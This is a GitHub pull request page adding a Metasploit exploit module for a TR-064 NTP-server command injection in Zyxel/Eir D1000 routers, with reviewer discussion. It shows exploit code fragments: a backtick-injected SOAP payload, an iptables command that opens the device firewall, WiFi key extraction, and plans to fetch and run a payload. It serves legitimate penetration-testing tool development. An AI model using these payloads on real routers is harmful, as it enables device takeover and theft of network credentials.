-
Notifications
You must be signed in to change notification settings - Fork 13.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add TR-064 command injection exploit (Zyxel / Eir D1000 Wireless Router) #7626
Add TR-064 command injection exploit (Zyxel / Eir D1000 Wireless Router) #7626
Conversation
This is a work in progress, and is merely the copy-paste of the original PoC exploit from: https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/
|
||
print_status("Exploiting...") | ||
print_status("Dropping firewall on port 80...") | ||
execute_command("`iptables -I INPUT -p tcp --dport 80 -j ACCEPT`","") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Should we revert this after exploit completion? I'd hate to exploit a client and not realize/forget to fix this when done
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'Eir D1000 Modem CWMP Exploit POC', |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is PoC needed in name? I don't see a payload encoded in here, but may be I missed it (mobile git sucks)
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Absolutely not; easy order of business is to retitle, re-describe, and re-reference the thing.
Opt::RPORT(7547), # CWMP port | ||
], self.class) | ||
|
||
@data_cmd_template = "<?xml version=\"1.0\"?>" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This @data_cmd_template global needs to go.
return Exploit::CheckCode::Unknown | ||
end | ||
|
||
if res and res.code == 404 and res.body =~ /home_wan.htm/ |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Escape the dot.
|
||
print_status("Exploiting...") | ||
print_status("Dropping firewall on port 80...") | ||
execute_command("`iptables -I INPUT -p tcp --dport 80 -j ACCEPT`","") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
So, this execute_command call here is copypasta from
I would rather just do the whole meterpreter thing here, rather than only have one specific, unchangable command.
'data' => data_cmd | ||
}) | ||
|
||
/NewPreSharedKey>(?<key>.*)<\/NewPreSharedKey/ =~ res.body |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This compare reads funny.
end | ||
end | ||
|
||
def get_wifi_key() |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
While kinda fun extraction, I'm unconvinced this whole get_wifi_key() thing is even necessary. Ideally, you already get a shell on the device, I expect you could extract the key locally.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Could be converted to a post info grab
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yeah feels like a separate module.
The Eir ones have SSH enabled by default, you can just use iptables to allow it and then use the WiFi key to SSH in and drop your payload. |
Ah thanks for the pointer @0x27 -- do you have a device handy to test with, btw? Would you be willing to run some modules and collect pcaps? Say, I wonder if @m-1-k-3 or @firefart or @Meatballs1 has any of these devices hanging around. |
@todb-r7 sorry I have no vulnerable device :/ Also ISPs are currently blocking access to this port over here in Germany and Austria :) |
Edit: you probably want the |
@0x27: Oh, I was just grepping for |
Wonder if the following line should use attacker's IP/host:
|
@jinq102030 That resets the NTP server back to the default one on the Eir/Eircom devices, prevents stuff going boom later :) Also, the vulnerability is in TR-064 code, not TR-069 code, so the module description/etc should be updated to reflect that. |
Thanks @0x27. Wonder if it's supposed to create a session at the end (after running the command execute_command("tick.eircom.net","")). In my case, it got the wireless key and complained that there is no session generated. |
@0x27: Thanks for the tip on |
Oh, and this is totally untested as of this commit.
def exploit | ||
print_status("Trying to access the device...") | ||
|
||
unless check == Exploit::CheckCode::Appears |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
shouldn't we add a force
advanced option to bypass the check?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Since it's CheckCode::Appears
, I'd say so.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
yeah i kinda hate the forced check, makes debug a hassle. Is there already a mechanism to avoid this, or are you saying we need one @firefart ?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I want one in case the check fails for whatever reason. Otherwise users need to edit the module to run the module anyway
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Done.
msf exploit(tr069_ntpserver_cmdinject) > exploit
[*] 192.168.145.129:7547 - Checking...
[*] 192.168.145.129:7547 - Appears vulnerable
[*] Command Stager progress - 100.00% done (836/836 bytes)
[*] Exploit completed, but no session was created.
msf exploit(tr069_ntpserver_cmdinject) > exploit
[*] 192.168.145.129:7547 - Checking...
[-] Exploit aborted due to failure: unknown: 192.168.145.129:7547 - Failed to access the device
[*] Exploit completed, but no session was created.
msf exploit(tr069_ntpserver_cmdinject) > set FORCE_EXPLOIT true
FORCE_EXPLOIT => true
msf exploit(tr069_ntpserver_cmdinject) > exploit
[*] 192.168.145.129:7547 - Checking...
[*] 192.168.145.129:7547 - Doesn't appear vulnerable, but trying anyway.
[*] Command Stager progress - 100.00% done (836/836 bytes)
[*] Exploit completed, but no session was created.
msf exploit(tr069_ntpserver_cmdinject) > exit
template << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" | ||
template << " <SOAP-ENV:Body>" | ||
template << " <u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1\">" | ||
template << " <NewNTPServer1>`%s`</NewNTPServer1>" # Backticks, aw yeah |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
the command probably needs to be xml escaped
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@acammack-r7 is there already a method for that? Not sure how to go about it, not super interested in writing my own de-XMLifier...
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Ruby has a builtin one.
cmd.encode xml: :text
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Neat. Done, @acammack-r7 , ty!
Okay, here's my goofball test that seems to confirm it works. First, create a fake web server: require 'webrick'
log = [[ $stderr, WEBrick::AccessLog::COMMON_LOG_FORMAT + ' POST=%{body}n']]
server = WEBrick::HTTPServer.new(:Port => 7547,
:DocumentRoot => Dir.pwd,
:AccessLog => log)
server.mount_proc '/' do |req, res|
req.attributes['body'] = req.body
res.status = 404
res.body = "Here's your home_wan.htm right here"
end
server.start Then, run the exploit:
On MSF you see:
On the webserver, you see:
To my eyeballs, this looks right, but I really need someone else to confirm. |
I'm suspicious about the xml-encoded |
Oh, sorry - rex-exploitation 0.1.4 has what you need actually. |
Total Comment Reversal! This does look right. Just was misreading the last bit at the end. This is all fine, it's just spread over lots of different connects in Wireshark.
|
@m-1-k-3 want to take a peek on your emulated environment? I should have a functional device pretty soon (day or two) but in the meantime... |
Thanks @m-1-k-3 ! So, I have a Zyxel D1000 device now, and I tested this. Short story, doesn't work, and I believe it's due to buffering on the 7547 service. Troubleshooting, I found that by manually entering each line here on the Time Server UI interface works like a charm:
This appears to validate that the single quote, the However, when I run the module, I noticed that the TCP traffic was waaaay lagging behind where Metasploit thought it was. I'd get the 100% staging complete, no session, but meanwhile, in tcpdump, I see that traffic is still going with lots of hunks left to go. Refreshing the config page to pull the current config over and over, I see that the data is still being populated. Maybe there's a threading issue with I suspect (but haven't confirmed) that it's getting POSTed out of order (but the last line with the chmod and run command is always last, so who knows). I'm going to reboot everything, be all nice and fresh, and get a complete PCAP of the whole deal (my last trial ended up catching a bunch of RSTs and I don't want to try to figure out whence they came). In the end, if none of this works, this may end up being a (kinda lame?) auxiliary cmd injection module after all, and you'll have to script shells through multiple runs with resource scripts or something. |
Here's a pcap: https://drive.google.com/open?id=0B3_TQgTE2uPcd3R5d2pjRE01V2c Looking at the filtered view of "http.request.method eq POST", things seem to be getting sent in the right order, but who knows what order it's getting processed in (and I just eyeballed the payloads, I can't tell with these squishy orbs if the echo commands are actually all lined up right). Again, the stage was complete with about a minute or so left over from the packet captures still being processed. If you look stream 17, you can see the POST sent at 39.62 seconds, but responded to minutes later at 198.49 seconds. I think that's the crux of the problem here -- maybe the command stager isn't waiting long enough for the POST responses? BTW, this device is Current Firmware Version: 2.00(AADU.5)_20150909 , testing is on the LAN side (where 7547 is also exposed). |
Stream breakdown:
|
We could also try to download and execute the payload.
|
@todb-r7: I've wanted to add one. It's by far the most common delivery mechanism for mass attacks like these. Existing modules have implemented it manually - if you want to do that. |
@todb we have used it multiple times before we had the cmd stager. One exploit that was also not working with the cmd stager method was the dlink-ncc exploit: This one uses also the upload mechanism: |
Well, I'd love to fix the cmd stager to be a little more resilient in the face of slow responses but... I'm happy to take the approach used by the NCC module in the meantime. @wvu-r7 has the gear at the moment -- William, you want to take that on, or kick it back to me to monkey with? I can recollect the router Wednesday (tomorrow) from you. |
Also, library-izing that mechanism would go a long way to get it consistently implemented, if we can, but that's for another ticket. |
TIL you can have multiple assignees to a PR. Not sure that's a good thing but whatever! |
24f9018
to
a4f681a
Compare
@wvu-r7 so what needs to happen now? Convert this module to use the new wget cmdstager method, I assume? Is that on you? We can switch positions and I can review and land, if you like. Either way. |
@todb-r7: I'm hacking your branch with hax. |
efdce47
to
ea3b722
Compare
…command-injection
ea3b722
to
94d76cf
Compare
We don't want to trample the device with requests.
|
This adds a module for review and productionalization of the cmd injection issue described by Kenzo at:
https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/
Verification
List the steps needed to make sure this thing works
msfconsole
use exploit/linux/http/tr069_ntpserver_cmdinject
and set options appropriately.